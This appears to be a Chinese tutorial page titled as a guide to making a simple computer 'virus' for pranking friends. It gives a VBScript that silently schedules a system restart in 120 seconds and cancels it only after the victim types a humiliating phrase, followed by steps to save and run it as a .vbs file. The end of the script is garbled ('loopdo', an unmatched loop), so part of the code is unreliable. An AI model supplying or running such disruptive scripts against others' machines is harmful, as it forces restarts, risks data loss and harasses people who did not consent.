教你如何制作简易的电脑病毒
想无聊整蛊朋友吗?那就学一学vbs吧。但是要注意,害人之心不可有,防人之心不可无。
操作方法
- 01
新建一个文本文档
- 02
打开文档
- 03
输入代码,代码如下 =======分割线======= on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说我是猪,不说我是猪就两分钟关你机,不信,你试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,说 ""我是猪"" ","说不说","你写啊",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,呵呵,爽" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾" WScript.Echo("喜欢吗,快点点赞(Y Y)") a = inputbox ("赞不赞,说赞就解除,不说就不解 ""赞"" ","赞不赞","赞吗",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loopdo msgbox chr(13) + chr(13) + chr(13) + "呵呵,爽死了"
- 04
下面一步要仔细听 把它另存为
- 05
然后把它的后缀名改成.vbs
- 06
然后把文件类型改成所有
- 07
然后保存
- 08
这时你就会看到保存的地方新增了一个文件(图标像卷纸)
- 09
这时你只要双击,就可以看到你的vbs文件运行了,也就是说你已经成功创作!!!